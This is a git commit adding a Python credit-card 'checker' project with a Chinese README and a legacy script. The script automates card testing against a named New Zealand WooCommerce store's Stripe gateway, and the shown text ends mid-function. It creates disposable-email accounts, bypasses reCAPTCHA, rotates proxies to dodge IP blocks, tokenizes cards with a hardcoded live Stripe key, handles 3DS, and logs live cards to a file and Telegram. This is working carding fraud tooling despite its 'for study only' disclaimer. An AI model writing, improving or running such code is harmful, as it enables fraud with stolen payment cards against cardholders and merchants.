commit d299afd4ae1241f3b8aa4f3ab1419fb811418d8f Author: dela Date: Wed Dec 31 17:33:09 2025 +0800 first commi diff --git a/checker/.env.example b/checker/.env.example new file mode 100644 index 0000000..64aa8cf --- /dev/null +++ b/checker/.env.example @@ -0,0 +1,16 @@ +# 环境变量配置文件示例 +# 复制此文件为 .env 并填写实际值 + +# Telegram 通知配置(可选) +TELEGRAM_TOKEN= +TELEGRAM_CHAT_ID= + +# 线程配置 +MAX_THREADS=3 +DEFAULT_THREADS=1 + +# 超时配置(秒) +TIMEOUT=15 + +# 输出文件 +OUTPUT_FILE=approvedcard.txt diff --git a/checker/.gitignore b/checker/.gitignore new file mode 100644 index 0000000..f4e95c5 --- /dev/null +++ b/checker/.gitignore @@ -0,0 +1,62 @@ +# Python +__pycache__/ +*.py[cod] +*$py.class +*.so +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +pip-wheel-metadata/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg + +# Virtual environments +venv/ +env/ +ENV/ +.venv + +# IDE +.vscode/ +.idea/ +*.swp +*.swo +*~ + +# Testing +.pytest_cache/ +.coverage +htmlcov/ +.tox/ + +# Environment +.env +.env.local + +# Data files +data/cards/*.txt +data/results/*.txt +data/proxies/*.txt +approvedcard.txt +*.log + +# OS +.DS_Store +Thumbs.db + +# Project specific +card.txt +cc.txt +proxies.txt diff --git a/checker/.python-version b/checker/.python-version new file mode 100644 index 0000000..e4fba21 --- /dev/null +++ b/checker/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/checker/README.md b/checker/README.md new file mode 100644 index 0000000..718b6c6 --- /dev/null +++ b/checker/README.md @@ -0,0 +1,161 @@ +# Checker - Credit Card Validation Tool + +一个功能强大的信用卡检测工具,支持 Stripe 支付网关验证。 + +## ✨ 特性 + +- 🚀 **多线程检测** - 支持并发检测,提高效率 +- 🔄 **代理支持** - 支持代理轮换,避免IP限制 +- 📱 **Telegram通知** - 实时推送检测结果 +- 🎨 **美观界面** - 彩色终端输出,清晰易读 +- 🔍 **BIN查询** - 自动查询卡片BIN信息 +- 📦 **模块化设计** - 清晰的代码结构,易于维护和扩展 + +## 📦 安装 + +### 使用 uv(推荐) + +```bash +# 克隆仓库 +git clone https://github.com/yourusername/checker.git +cd checker + +# 安装依赖 +uv pip install -e . + +# 或安装开发依赖 +uv pip install -e ".[dev]" +``` + +### 使用 pip + +```bash +pip install -e . +``` + +## 🚀 使用 + +### 命令行使用 + +```bash +# 直接运行 +checker + +# 或使用 Python 模块方式 +python -m checker +``` + +### 配置文件 + +复制 `.env.example` 为 `.env` 并配置: + +```bash +cp .env.example .env +``` + +编辑 `.env` 文件: + +```env +# Telegram 通知(可选) +TELEGRAM_TOKEN=your_bot_token +TELEGRAM_CHAT_ID=your_chat_id + +# 线程配置 +MAX_THREADS=3 +DEFAULT_THREADS=1 + +# 超时配置 +TIMEOUT=15 +``` + +### 作为库使用 + +```python +from checker import Card, StripeChecker +import requests + +# 创建检测器 +checker = StripeChecker( + timeout=15, + max_retries=5, + telegram_token="your_token", # 可选 + telegram_chat_id="your_chat_id" # 可选 +) + +# 解析卡片 +card = Card.parse("4111111111111111|12|2025|123") + +# 执行检测 +session = requests.Session() +result = checker.check(card, session) + +print(f"状态: {result.status}") +print(f"消息: {result.message}") +print(f"BIN信息: {result.bin_info}") +``` + +## 📂 项目结构 + +``` +checker/ +├── src/checker/ # 源代码 +│ ├── cli/ # 命令行界面 +│ ├── core/ # 核心配置 +│ ├── models/ # 数据模型 +│ ├── cards/ # 卡片处理 +│ ├── checkers/ # 检测器实现 +│ ├── integrations/ # 外部服务集成 +│ └── utils/ # 工具函数 +├── tests/ # 测试文件 +├── data/ # 数据文件 +├── scripts/ # 辅助脚本 +└── pyproject.toml # 项目配置 +``` + +## 🧪 测试 + +```bash +# 运行所有测试 +pytest + +# 运行测试并显示覆盖率 +pytest --cov=checker + +# 运行特定测试 +pytest tests/test_cards/test_parser.py +``` + +## 🛠️ 开发 + +### 代码格式化 + +```bash +# 使用 black 格式化代码 +black src/checker tests + +# 使用 ruff 检查代码 +ruff check src/checker tests +``` + +### 类型检查 + +```bash +mypy src/checker +``` + +## 📝 许可证 + +MIT License + +## 🤝 贡献 + +欢迎提交 Issue 和 Pull Request! + +## ⚠️ 免责声明 + +本工具仅供学习和研究使用,请勿用于非法用途。使用本工具产生的一切后果由使用者自行承担。 + +## 📞 联系方式 + +- GitHub: [github.com/KianSantang777](https://github.com/KianSantang777) +- Telegram: [t.me/xqndrs](https://t.me/xqndrs) diff --git a/checker/data/.gitkeep b/checker/data/.gitkeep new file mode 100644 index 0000000..071ff9c --- /dev/null +++ b/checker/data/.gitkeep @@ -0,0 +1,2 @@ +"""数据文件目录(不提交到git)""" +# 此文件仅用于保持目录结构 diff --git a/checker/legacy/check.py b/checker/legacy/check.py new file mode 100644 index 0000000..71d1e62 --- /dev/null +++ b/checker/legacy/check.py @@ -0,0 +1,664 @@ +import uuid +import secrets +import string +import random +import time +import datetime +import sys +import base64 +import json +import socket +import requests +import threading +from requests import exceptions +import urllib3 +from faker import Faker +from colorama import Fore, Style +# Prefer package-relative imports when available; fall back to local module for script execution. +try: + from .utils import generate_password, sleep_random, UA, gstr, telegram_send, format_ts + from .recha.reca import RecaptchaSolverSync +except ImportError: # Running as a script without package context + from utils import generate_password, sleep_random, UA, gstr, telegram_send, format_ts + from recha.reca import RecaptchaSolverSync +# 假设这些是从外部作用域导入或定义的全局变量/函数 +# 因为字节码中只是加载了它们 +# UA, gstr, generate_password, sleep_random, solve_recaptcha_token, telegram_send +# print_lock, file_lock, sent_telegram, tg_token, tg_chat_id +print_lock = threading.Lock() +file_lock = threading.Lock() +sent_lock = threading.Lock() +tg_token = None +tg_chat_id = None +sent_telegram = set() + +# 假设 RecaptchaSolverSync 是从其他模块导入的类 +def solve_recaptcha_token(anchor_url, proxies=None, timeout=20): + # 1. 初始化求解器 + # 允许 proxies 为空,避免调用方必须传值 + solver = RecaptchaSolverSync(timeout=timeout, proxies=proxies) + # 2. 调用 solve 方法并返回结果 + return solver.solve(anchor_url) + +def check(card, sess, proxy_list): + # 1. 初始化 ID + session_uuid = str(uuid.uuid4()) + GUID = str(uuid.uuid4()) + MUID = str(uuid.uuid4()) + SID = str(uuid.uuid4()) + + # 2. 解析卡片信息 + # 字节码中有一个生成器用于 strip 字符串 + cardnum, mm, yyyy, cvv = [s.strip() for s in card.strip().split('|')] + + mm = mm.zfill(2) + yy = str(yyyy)[-2:].zfill(2) + cvv = cvv[:4] + bin_code = cardnum[:6] + cardfull = f"{cardnum}|{mm}|{yy}|{cvv}" + + # 3. 生成用户信息 + password = generate_password(10, 16) + delay = sleep_random(1, 3) + + # 用户名生成逻辑 + username_chars = string.ascii_lowercase + string.digits + '._' + alnum = string.ascii_lowercase + string.digits + min_user_len, max_user_len = (6, 12) + length = secrets.choice(range(min_user_len, max_user_len + 1)) + + first = secrets.choice(alnum) + last = secrets.choice(alnum) + middle = [] + prev = '' + + # 避免连续的特殊字符 (._) + for _ in range(max(0, length - 2)): + ch = secrets.choice(username_chars) + while prev in '._' and ch in '._': + ch = secrets.choice(alnum) + middle.append(ch) + prev = ch + + base = first + ''.join(middle) + last + uniq = uuid.uuid4().hex[:4] + username = (base + uniq)[:length] # 字节码逻辑实际上是在这里截断 + + timeout = 15 + max_retries = 5 + + # 临时邮箱域名列表 + email_domains = [ + 'startmail.com', 'runbox.com', 'posteo.de', 'openmailbox.org', 'safe-mail.net', + 'keemail.me', 'mykolab.com', 'eclipso.eu', 'neomailbox.com', 'mailbox.org', + 'msgsafe.io', 'torguard.tg', 'vfemail.net', 'scryptmail.com', 'luxsci.com', + 'onmail.com', 'simplelogin.io', 'anonaddy.com', 'duck.com', 'pm.me', + 'swissmail.org', 'kolabnow.com', 'mailnesia.com', 'spamgourmet.com', + 'mailsac.com', 'relay.firefox.com', 'emailondeck.com', 'moakt.com', + 'maildrop.cc', 'nowmymail.com', 'throwawaymail.com', 'mailcatch.com', + 'mailnull.com', 'spamavert.com', 'mail-temporaire.fr', 'rcpt.at', + 'mailnesia.com', 'spamfree24.org', 'temp-mail.io', 'easytrashmail.com', + 'inboxkitten.com', 'trashmail.de', 'wh4f.org', 'vibemail.net', + 'spamex.com', 'trbvm.com', 'getairmail.com', 'webemail.me', + 'kurzepost.de', 'lortemail.dk', 'spambog.com', 'spambog.ru', + 'yepmail.net', 'tempail.com', 'fakeinbox.com', 'meltmail.com', + 'deadaddress.com', 'jetable.org', 'mailhazard.com', 'tagmymail.com' + ] + + tempmail = f"{username}@{random.choice(email_domains)}" + + # 时间戳生成 + timeunix = str(int(time.time()))[:7] + timeunixx = str(int(time.time())) + ts_now = format_ts(datetime.datetime.now(datetime.timezone.utc)) # 假设 format_ts 存在 + + # Faker 生成其他信息 + fake = Faker('en_US') + first_name = fake.first_name_male() + last_name = fake.last_name_male() + email = fake.free_email() # 字节码中生成了但似乎后面用了 tempmail + zipcode = fake.postalcode() + + RotationUserAgents = random.choice(UA) # UA 是外部列表 + + proxies_source = list(proxy_list) if proxy_list else [] + tried = set() + max_attempts = max_retries + attempt = 0 + + # 4. 主循环:代理重试逻辑 + while attempt < max_attempts: + try: + attempt += 1 + if proxies_source and len(tried) >= len(proxies_source): + return ("No proxy available", None) + + if proxies_source: + proxy = random.choice(proxies_source) + while proxy in tried: + proxy = random.choice(proxies_source) + tried.add(proxy) + proxies = {'http': proxy, 'https': proxy} + else: + proxies = None + + # --- 请求逻辑开始 --- + + # 请求 1: 解决 Recaptcha + anchor_url = 'https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfAYREqAAAAAGMmzJpVy-ZtfdQgCuGSBRx8f321&co=aHR0cHM6Ly93d3cud29tZW5zYWlkLm9yZy51azo0NDM.&hl=en&v=bGi-DxR800FVc7f0siDI2jNQ&size=invisible&anchor-ms=20000&execute-ms=15000&cb=6mmplhhp955x' + token = solve_recaptcha_token(anchor_url, proxies=proxies, timeout=20) + + # 请求 2: 查询 BIN 信息 + url = f'https://bins.antipublic.cc/bins/{cardnum[:6]}' + r1 = sess.get(url=url) + + # 使用 gstr 提取 BIN 信息 (假设 gstr 是 get_string_between) + brands = gstr(r1.text, 'brand":"', '"').upper() or 'UNKNOWN' + country2 = gstr(r1.text, 'country_name":"', '"').upper() or 'UNKNOWN' + country_emoji = gstr(r1.text, 'country_flag":"', '"').upper() or 'UNKNOWN' + banks = gstr(r1.text, 'bank":"', '"').upper() or 'UNKNOWN' + typecard = gstr(r1.text, 'type":"', '"').upper() or 'UNKNOWN' + levelcc = gstr(r1.text, 'level":"', '"').upper() or 'UNKNOWN' + + # 请求 3: 访问 My Account 页面 + headers = { + 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8', + 'accept-language': 'en-US,en;q=0.9', + 'cache-control': 'no-cache', + 'dnt': '1', + 'pragma': 'no-cache', + 'priority': 'u=0, i', + 'user-agent': random.choice(UA) + } + response = sess.get('https://ihorangi.ac.nz/my-account/', headers=headers, proxies=proxies, timeout=timeout) + txt = response.text.strip() + + # 提取 nonce + wogreg = gstr(txt, 'woocommerce-register-nonce" value="', '"') + + # 请求 4: 注册账户 + headers = { + 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8', + 'accept-language': 'en-US,en;q=0.9', + 'cache-control': 'no-cache', + 'content-type': 'application/x-www-form-urlencoded', + 'dnt': '1', + 'origin': 'https://ihorangi.ac.nz', + 'pragma': 'no-cache', + 'priority': 'u=0, i', + 'referer': 'https://ihorangi.ac.nz/my-account/', + 'user-agent': random.choice(UA) + } + data = { + 'email': tempmail, + 'wc_order_attribution_source_type': 'typein', + 'wc_order_attribution_referrer': '(none)', + 'wc_order_attribution_utm_campaign': '(none)', + 'wc_order_attribution_utm_source': '(direct)', + 'wc_order_attribution_utm_medium': '(none)', + 'wc_order_attribution_utm_content': '(none)', + 'wc_order_attribution_utm_id': '(none)', + 'wc_order_attribution_utm_term': '(none)', + 'wc_order_attribution_utm_source_platform': '(none)', + 'wc_order_attribution_utm_creative_format': '(none)', + 'wc_order_attribution_utm_marketing_tactic': '(none)', + 'wc_order_attribution_session_entry': 'https://ihorangi.ac.nz/my-account/', + 'wc_order_attribution_session_start_time': ts_now, + 'wc_order_attribution_session_pages': '1', + 'wc_order_attribution_session_count': '1', + 'wc_order_attribution_user_agent': random.choice(UA), + 'woocommerce-register-nonce': wogreg, + '_wp_http_referer': '/my-account/', + 'register': 'Register' + } + response = sess.post('https://ihorangi.ac.nz/my-account/', headers=headers, data=data, proxies=proxies, timeout=timeout) + txt = response.text.strip() + + # 检查注册是否成功,如果不成功则重试 + if response.status_code not in (200, 301, 302): + time.sleep(random.uniform(5, 10)) + sess.close() + continue # 重试循环 + + # 请求 5: 访问支付方式页面 + headers = { + 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8', + 'accept-language': 'en-US,en;q=0.9', + 'cache-control': 'no-cache', + 'pragma': 'no-cache', + 'priority': 'u=0, i', + 'referer': 'https://ihorangi.ac.nz/my-account/', + 'user-agent': random.choice(UA) + } + response = sess.get('https://ihorangi.ac.nz/my-account/payment-methods/', headers=headers, proxies=proxies, timeout=timeout) + + # 请求 6: 访问添加支付方式页面并提取 Stripe Key 和 Nonce + headers = { + 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', + 'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6,zh-CN;q=0.5,zh;q=0.4', + 'cache-control': 'no-cache', + 'dnt': '1', + 'pragma': 'no-cache', + 'priority': 'u=0, i', + 'referer': 'https://ihorangi.ac.nz/my-account/payment-methods/', + 'user-agent': random.choice(UA) + } + response = sess.get('https://ihorangi.ac.nz/my-account/add-payment-method/', headers=headers, proxies=proxies, timeout=timeout) + txt = response.text.strip() + + pklive = 'pk_live_51PNnUYCpbsAx05ZQuvx5UVPB6OydHAwDUFaKTeblYjQDucB8985OeQ6ceodC9EhWgClX2wvS7jaVTSNnr0SkektW00mh3KBqQ3' + stpnonce = gstr(txt, 'createAndConfirmSetupIntentNonce": "', '"') + if not stpnonce: + stpnonce = gstr(txt, 'createAndConfirmSetupIntentNonce":"', '"') + + # 请求 7: Stripe Elements Session + headers = { + 'accept': 'application/json', + 'accept-language': 'en-US,en;q=0.9,id;q=0.8', + 'cache-control': 'no-cache', + 'content-type': 'application/x-www-form-urlencoded', + 'origin': 'https://js.stripe.com', + 'pragma': 'no-cache', + 'priority': 'u=1, i', + 'referer': 'https://js.stripe.com/', + 'user-agent': random.choice(UA) + } + url_elements = f'https://api.stripe.com/v1/elements/sessions?deferred_intent[mode]=setup&deferred_intent[currency]=nzd&deferred_intent[payment_method_types][0]=card&deferred_intent[setup_future_usage]=off_session¤cy=nzd&key={pklive}&_stripe_version=2024-06-20&elements_init_source=stripe.elements&referrer_host=ihorangi.ac.nz&stripe_js_id={session_uuid}&locale=en&type=deferred_intent' + response = sess.get(url_elements, headers=headers, timeout=timeout, proxies=proxies) + + # 请求 8: Link Cookie + headers = { + 'accept': 'application/json', + 'accept-language': 'en-US,en;q=0.9', + 'cache-control': 'no-cache', + 'content-type': 'application/x-www-form-urlencoded', + 'origin': 'https://js.stripe.com', + 'pragma': 'no-cache', + 'priority': 'u=1, i', + 'referer': 'https://js.stripe.com/', + 'user-agent': random.choice(UA) + } + params = {'referrer_host': 'ihorangi.ac.nz'} + response = sess.get('https://merchant-ui-api.stripe.com/link/get-cookie', params=params, headers=headers, proxies=proxies, timeout=timeout) + + # 请求 9: hCaptcha Check + headers = { + 'accept': 'application/json', + 'accept-language': 'en-US,en;q=0.9', + 'cache-control': 'no-cache', + 'content-type': 'text/plain', + 'origin': 'https://newassets.hcaptcha.com', + 'pragma': 'no-cache', + 'priority': 'u=1, i', + 'referer': 'https://newassets.hcaptcha.com/', + 'user-agent': random.choice(UA) + } + params = { + 'v': '2e2f9feae51e15dd4676ba8e3d761ec72f41b826', + 'host': 'b.stripecdn.com', + 'sitekey': '463b917e-e264-403f-ad34-34af0ee10294', + 'sc': '1', + 'swa': '1', + 'spst': '0' + } + response = sess.post('https://api.hcaptcha.com/checksiteconfig', params=params, headers=headers, proxies=proxies, timeout=timeout) + txt = response.text.strip() + + tokxn = 'P1_' + gstr(txt, 'req":"', '"') + + # 请求 10: Stripe Payment Methods (Tokenize Card) + headers = { + 'accept': 'application/json', + 'accept-language': 'en-US,en;q=0.9,id;q=0.8', + 'cache-control': 'no-cache', + 'content-type': 'application/x-www-form-urlencoded', + 'origin': 'https://js.stripe.com', + 'pragma': 'no-cache', + 'priority': 'u=1, i', + 'referer': 'https://js.stripe.com/', + 'user-agent': random.choice(UA) + } + data = f'type=card&card[number]={cardnum}&card[cvc]={cvv}&card[exp_year]={yy}&card[exp_month]={mm}&allow_redisplay=unspecified&billing_details[address][country]=NZ&pasted_fields=number%2Ccvc&payment_user_agent=stripe.js%2F8c194b4c2c%3B+stripe-js-v3%2F8c194b4c2c%3B+payment-element%3B+deferred-intent&referrer=https%3A%2F%2Fihorangi.ac.nz&time_on_page={timeunix}&client_attribution_metadata[client_session_id]=2b694de4-a99f-4708-9cd4-089e3a463ff5&client_attribution_metadata[merchant_integration_source]=elements&client_attribution_metadata[merchant_integration_subtype]=payment-element&client_attribution_metadata[merchant_integration_version]=2021&client_attribution_metadata[payment_intent_creation_flow]=deferred&client_attribution_metadata[payment_method_selection_flow]=merchant_specified&client_attribution_metadata[elements_session_config_id]=47f07f96-4b09-4cf0-9d48-4343573d8fa2&client_attribution_metadata[merchant_integration_additional_elements][0]=payment&guid={GUID}&muid={MUID}&sid={SID}&key={pklive}&_stripe_version=2024-06-20' + + response = sess.post('https://api.stripe.com/v1/payment_methods', headers=headers, data=data, timeout=timeout, proxies=proxies) + txt = response.text.strip() + + if response.status_code != 200: + # 错误处理逻辑 + msx = gstr(txt, 'message": "', '"') + with print_lock: + print(f"{Fore.LIGHTRED_EX} -» {Fore.LIGHTWHITE_EX}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.CYAN}{response.status_code} {Fore.LIGHTWHITE_EX}- {Fore.LIGHTRED_EX}{msx}{Style.RESET_ALL}") + sess.close() + return (msx or 'payment_methods_failed', False) + + idtoken = gstr(txt, 'id": "', '"') + + # 请求 11: WooCommerce 后端确认 Setup Intent + headers = { + 'accept': '*/*', + 'accept-language': 'en-US,en;q=0.9,id;q=0.8', + 'cache-control': 'no-cache', + 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8', + 'origin': 'https://ihorangi.ac.nz', + 'pragma': 'no-cache', + 'priority': 'u=1, i', + 'referer': 'https://ihorangi.ac.nz/my-account/add-payment-method/', + 'user-agent': random.choice(UA), + 'x-requested-with': 'XMLHttpRequest' + } + data = { + 'action': 'wc_stripe_create_and_confirm_setup_intent', + 'wc-stripe-payment-method': idtoken, + 'wc-stripe-payment-type': 'card', + '_ajax_nonce': stpnonce + } + response = sess.post('https://ihorangi.ac.nz/wp-admin/admin-ajax.php', headers=headers, data=data, timeout=timeout, proxies=proxies, allow_redirects=False) + txt = response.text.strip() + try: + resp = response.json() + except ValueError: + resp = None + + if not isinstance(resp, dict): + preview = txt[:400] + with print_lock: + print(f"{Fore.LIGHTYELLOW_EX}[DEBUG]{Style.RESET_ALL} Unexpected AJAX response ({type(resp).__name__}) -> {preview}") + resp = {} + + if resp.get('data') and isinstance(resp['data'], dict): + data = resp['data'] + else: + data = resp + + status = str(data.get('status', '')).lower() + text = response.text.strip().lower() + text_lower = text + + # --- 结果判断逻辑 --- + + # 1. 直接成功 + if 'success' in data and data['success'] is True: + # 后面统一处理 + pass + + # 2. 需要 3DS 验证 (Requires Action) + elif status == 'requires_action': + next_action = data.get('next_action', {}) + sdk = next_action.get('use_stripe_sdk', {}) + seti_id = data.get('id') + client_secret = data.get('client_secret') + merchant = sdk.get('merchant') + server_transaction_id = sdk.get('server_transaction_id') + three_ds_source = sdk.get('three_d_secure_2_source') + + # 发起 3DS 确认请求 + headers = { + 'accept': 'application/json', + 'accept-language': 'en-US,en;q=0.9,id;q=0.8', + 'cache-control': 'no-cache', + 'content-type': 'application/x-www-form-urlencoded', + 'origin': 'https://js.stripe.com', + 'pragma': 'no-cache', + 'priority': 'u=1, i', + 'referer': 'https://js.stripe.com/', + 'user-agent': random.choice(UA) + } + data_confirm = f'use_stripe_sdk=true&mandate_data[customer_acceptance][type]=online&mandate_data[customer_acceptance][online][infer_from_client]=true&key={pklive}&_stripe_version=2024-06-20&client_attribution_metadata[client_session_id]=2b694de4-a99f-4708-9cd4-089e3a463ff5&client_attribution_metadata[merchant_integration_source]=l1&client_secret={client_secret}' + + response = sess.post(f'https://api.stripe.com/v1/setup_intents/{seti_id}/confirm', headers=headers, data=data_confirm, timeout=timeout, proxies=proxies) + resp = response.json() + data = resp['data'] + next_action = data.get('next_action', {}) + sdk = next_action.get('use_stripe_sdk', {}) + seti_id = data.get('id') + client_secret = data.get('client_secret') + merchant = sdk.get('merchant') + server_transaction_id = sdk.get('server_transaction_id') + three_ds_source = sdk.get('three_d_secure_2_source') + + # Cardinal Commerce 指纹处理 + payload = {'threeDSServerTransID': server_transaction_id} + encoded = base64.b64encode(json.dumps(payload, separators=(',', ':')).encode()).decode() + + headers_cardinal = { + 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', + 'cache-control': 'no-cache', + 'content-type': 'application/x-www-form-urlencoded', + 'origin': 'https://geoissuer.cardinalcommerce.com', + 'pragma': 'no-cache', + 'priority': 'u=0, i', + 'referer': 'https://geoissuer.cardinalcommerce.com/', + 'user-agent': random.choice(UA) + } + data_cardinal = {'threeDSMethodData': encoded} + sess.post(f'https://hooks.stripe.com/3d_secure_2/fingerprint/{merchant}/', headers=headers_cardinal, data=data_cardinal, timeout=timeout, proxies=proxies) + + # 3DS 认证请求 + headers = { + 'accept': 'application/json', + 'cache-control': 'no-cache', + 'content-type': 'application/x-www-form-urlencoded', + 'origin': 'https://js.stripe.com', + 'pragma': 'no-cache', + 'priority': 'u=1, i', + 'referer': 'https://js.stripe.com/', + 'user-agent': random.choice(UA) + } + browser_data = { + 'fingerprintAttempted': 'Y', + 'challengeWindowSize': '0', # 字节码里看起来像 0 或 False + 'threeDSCompInd': 'Y', + 'browserJavaEnabled': 'false', + 'browserJavascriptEnabled': 'true', + 'browserLanguage': 'en-US', + 'browserColorDepth': '24', + 'browserScreenHeight': '1080', + 'browserScreenWidth': '1920', + 'browserTZ': '0', + 'browserUserAgent': random.choice(UA) + } + data_auth = { + 'source': three_ds_source, + 'browser': json.dumps(browser_data), + 'one_click_authn_device_support[hosted]': 'false', + 'one_click_authn_device_support[same_origin_frame]': 'false', + 'one_click_authn_device_support[spc_eligible]': 'false', + 'one_click_authn_device_support[webauthn_eligible]': 'false', + 'one_click_authn_device_support[publickey_credentials_get_allowed]': 'true', + 'key': pklive, + '_stripe_version': '2024-06-20' + } + response = sess.post('https://api.stripe.com/v1/3ds2/authenticate', headers=headers, data=data_auth, timeout=timeout, proxies=proxies) + + # 再次确认 Setup Intent + headers = { + 'accept': 'application/json', + 'accept-language': 'en-US,en;q=0.9', + 'cache-control': 'no-cache', + 'content-type': 'application/x-www-form-urlencoded', + 'origin': 'https://js.stripe.com', + 'pragma': 'no-cache', + 'priority': 'u=1, i', + 'referer': 'https://js.stripe.com/', + 'user-agent': random.choice(UA) + } + params = { + 'is_stripe_sdk': 'false', + 'client_secret': client_secret, + 'key': pklive, + '_stripe_version': '2024-06-20' + } + response = sess.get(f'https://api.stripe.com/v1/setup_intents/{seti_id}', params=params, headers=headers, timeout=timeout, proxies=proxies) + rjson = response.json() + text_lower = response.text.lower().strip() + text = response.text.strip() + + data = rjson['data'] # 字节码逻辑 + status = str(data.get('status', '')).lower() + + # --- 结果输出 --- + mesg = gstr(txt, 'message":"', '"') or gstr(txt, 'message": "', '"') + stats = gstr(txt, 'status":"', '"') or gstr(txt, 'status": "', '"') + + # 成功 + if (resp.get('success') is True) or ('succeeded' in status) or ('succeeded' in text_lower): + with print_lock: + print(f"{Fore.LIGHTGREEN_EX} -» {Fore.WHITE}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.GREEN}{response.status_code} {Fore.LIGHTWHITE_EX}- {Fore.GREEN}Approved (SUCCEEDED).{Style.RESET_ALL}") + + with file_lock: + with open('approvedcard.txt', 'a', encoding='utf-8') as f: + f.write(f"{cardnum}|{mm}|{yy}|{cvv}|SUCCEEDED|\n") + + if tg_token and tg_chat_id: + with sent_lock: + if card not in sent_telegram: + msg = f"Stripe Charge 0.10$\n\nCC : {cardfull}\nStatus : Approved!✅\nResponse : Succeeded\nGates : Stripe Charge\n\nBin : {cardnum[:6]} - Brand : {brands} - Type : {typecard} - Country : {country2} {country_emoji} - Issuer : {banks}" + telegram_send(tg_token, tg_chat_id, msg, timeout) + sent_telegram.add(card) + + sess.close() + return ("Succeeded", True) + + # 需要 3DS (Requires Action) - 通常被视为通过或半通过 + elif 'requires_action' in status or 'requires_action' in text_lower: + with print_lock: + print(f"{Fore.YELLOW} -» {Fore.WHITE}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.YELLOW}3DS Required.{Style.RESET_ALL}") + sess.close() + return ("3DS required", None) + + # 需要支付方式 (通常用于捕捉 Decline) + elif status == 'requires_payment_method' or 'requires_payment_method' in text_lower: + msx = gstr(text, 'message": "', '"') or gstr(text, '"code": "', '"') or gstr(text, '"decline_code": "', '"') + with print_lock: + print(f"{Fore.RED} -» {Fore.WHITE}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.RED}{msx}{Style.RESET_ALL}") + return (msx or 'requires_payment_method', False) + + # 余额不足 (Insufficient Funds) + elif 'last_payment_error' in status or 'last_payment_error' in text_lower: + msx = gstr(text, 'message": "', '"') or gstr(text, '"code": "', '"') or gstr(text, '"decline_code": "', '"') + with print_lock: + print(f"{Fore.RED} -» {Fore.WHITE}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.RED}{msx}{Style.RESET_ALL}") + + # 余额不足通常被视为 Approved CVV Live + if any(k in text_lower for k in ['insufficient_funds', 'insufficient funds']): + with print_lock: + print(f"{Fore.LIGHTGREEN_EX} -» {Fore.WHITE}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.GREEN}{response.status_code} {Fore.LIGHTWHITE_EX}- {Fore.GREEN}Approved (Insufficient Funds).{Style.RESET_ALL}") + + with file_lock: + with open('approvedcard.txt', 'a', encoding='utf-8') as f: + f.write(f"{cardnum}|{mm}|{yy}|{cvv}|INSUFFICIENT_FUNDS|\n") + + if tg_token and tg_chat_id: + with sent_lock: + if card not in sent_telegram: + msg = f"Stripe Charge 0.10$\n\nCC : {cardfull}\nStatus : Approved!✅\nResponse : Insufficient Funds\nGates : Stripe Charge\n\nBin : {cardnum[:6]} - Brand : {brands} - Type : {typecard} - Country : {country2} {country_emoji} - Issuer : {banks}" + telegram_send(tg_token, tg_chat_id, msg, timeout) + sent_telegram.add(card) + + sess.close() + return ("Insufficient funds", True) + + # 特定错误:操作过快 + elif mesg and 'You cannot add a new payment method so soon after the previous one.' in mesg: + with print_lock: + print(f"{Fore.LIGHTYELLOW_EX} -» {Fore.LIGHTWHITE_EX}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.LIGHTYELLOW_EX}RETRY {Fore.LIGHTWHITE_EX}- {Fore.LIGHTYELLOW_EX}Retrying.. IP is temporarily blocked{Style.RESET_ALL}") + time.sleep(random.uniform(5, 10)) + sess.close() + continue # 重试 + + # 默认失败 + else: + message = resp.get('data', {}).get('error', {}).get('message') if isinstance(resp, dict) else None + if mesg: + message = mesg + error_type = 'RequestError' + hint = message or 'Unknown error' + with print_lock: + print(f"{Fore.LIGHTRED_EX} -» {Fore.LIGHTWHITE_EX}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.CYAN}{response.status_code} {Fore.LIGHTWHITE_EX}- {Fore.RED}{error_type}: {hint}{Style.RESET_ALL}") + sess.close() + return (hint, False) + + except KeyboardInterrupt: + sys.exit(1) + + except Exception as e: + # 异常处理映射 + err_msg = str(e).lower() + hint = 'Unknown error occurred.' + error_type = type(e).__name__ + + if isinstance(e, exceptions.ConnectTimeout): + hint = 'Connection timed out while connecting to host.' + elif isinstance(e, exceptions.ReadTimeout): + hint = 'Server took too long to respond.' + elif isinstance(e, exceptions.Timeout): + hint = 'Request timeout (connect/read).' + elif isinstance(e, socket.timeout): + hint = 'Socket-level timeout occurred.' + elif isinstance(e, exceptions.ConnectionError): + if 'reset' in err_msg: hint = 'Connection reset — remote host dropped connection.' + elif 'refused' in err_msg: hint = 'Connection refused — host blocked or service down.' + elif 'aborted' in err_msg: hint = 'Connection aborted — TLS drop or handshake cut.' + elif 'broken pipe' in err_msg: hint = 'Broken pipe — connection unexpectedly closed.' + elif 'terminated' in err_msg: hint = 'Connection terminated unexpectedly.' + elif 'name or service not known' in err_msg: hint = 'DNS resolution failed — invalid or unreachable domain.' + elif 'no route to host' in err_msg: hint = 'Network unreachable — routing issue or firewall.' + elif 'network is unreachable' in err_msg: hint = 'No network route available.' + elif 'host unreachable' in err_msg: hint = 'Host unreachable — mid-network issue.' + else: hint = 'General connection error.' + elif isinstance(e, exceptions.ProxyError): + if 'cannot connect' in err_msg or 'unable to connect' in err_msg: hint = 'Proxy 